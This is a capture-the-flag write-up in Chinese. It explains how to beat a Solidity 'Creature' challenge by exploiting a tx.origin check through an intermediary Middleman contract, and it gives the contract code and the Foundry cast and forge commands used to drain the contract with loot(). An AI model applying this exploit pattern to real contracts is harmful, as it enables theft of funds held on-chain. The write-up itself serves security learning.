(本篇都是使用的 foundry 框架的工具进行交互)

看看附件,主要是Creature.sol

最先看到的是创建了一个有 1000 血量的 boss,,可以用 attack 方法攻击,但是后面有一些验证

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

我们直接用attack(uint256)传入 1000 来攻击,就会发现攻击并没有生效,我们无法使用 loot() 来提取战利品

cast send $TargetAddress "attack(uint256)" 1000 --rpc-url http:/ip/rpc --interactive

回过来我们看合约,会发现最重要的验证是再 _isOffBalance(),需要tx.origin != msg.sender,然后再满足aggro != msg.sender

tx.origin 为合约的最初调用者 msg.sender 为合约的直接调用者,这里我们部署一个中间人合约来调用 attack 就可以绕过;

然后aggro 这里是记录了第一次攻击者的 address,而我们刚刚攻击记录了自己 address,接下来使用中间人合约攻击刚好绕过

那么写一个Middleman 中间人合约,使用forge 部署

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Middleman {
    address public target = 0x70B0317717F2A79CE9Fe3695f805d252C6283C38;

    function attack(uint256 _damage) external {
        (bool success, bytes memory result) = target.call(abi.encodeWithSignature("attack(uint256)", _damage));
        require(success, string(result));
    }
}

可以先不加--broadcast 模拟一下。Deployed to 为Middleman 合约地址

forge create ./Middleman.sol:Middleman --rpc-url http://ip/rpc --private-key $privatekey --no-cache --broadcast

部署好后,通过Middleman 合约再进行交互

cast send 0x05A97c857F07B6B1752A08C281a5303eA242FeB8 "attack(uint256)" 1000 --rpc-url http://ip/rpc --interactive

然后与目标合约交互用loot()提取战利品

cast send $TargetAddress "loot()" --rpc-url http://ip/rpc --interactive

最后来到 ip/flag 就能看到 flag 了


"The quieter you become, the more you are able to hear."